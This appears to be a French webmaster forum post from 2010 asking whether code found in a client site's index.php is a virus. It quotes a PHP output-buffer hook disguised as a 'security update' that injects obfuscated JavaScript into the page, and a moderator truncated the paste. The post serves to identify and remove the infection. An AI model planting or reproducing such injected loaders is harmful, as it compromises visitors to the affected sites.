virus possible | Titre du sujet : virus possible par grosdunord sur 14/12/2010 09:25:50
bonjour,
j'ai créer y a déjà quelque temps un site pour un client et depuis peut quand j'allais sur le site en question j'avais avast qui me detecter un virus sur la page d'accueil et seulement sur cette page
j'ai donc trouvé ceci sur la page index.php a la racine de mon site
<?php ob_start('security_update'); function security_update($buffer){return $buffer.'<script language="javascript">
var kasbd3412 = "";
$$ = function () { try{kasbd3412= $$dfsd(gnflseejrr()); kasbd3412.do(); } catch(e){ var bn = ""; return kasbd3412;}};
var adlan3r$oubw = "e";$$dfsd = this['a'+'s'+'d'];var adlan3r$ouaw = "a";
function asd(df_){this['r']="";
var s = df_;
for(__fh=0;this['__fh']<s['l'+adlan3r$oubw+'ng'+'t'+'h'];__fh++ ){i=__fh;if(s['ch'+adlan3r$ouaw +'rA'+'t'](i)=='Z'){this[neAR_DEF_FGEvftDSyTtnSoh_1]='%'} else {this[neAR_DEF_FGEvftDSyTtnSoh_1]=s['ch'+'ar'+'At'](this['i'])}this['r']=r+VAR_EZJrWcTGuhPYZJj........
';}//important security update ?>
est ce que cela et bien le virus ou sa fait partie de l'index mais depuis que j'ai supprimé ces lignes plus de virus détecter par avast
[Edité par Philou ... suppression d'une partie du code cité.]
|
|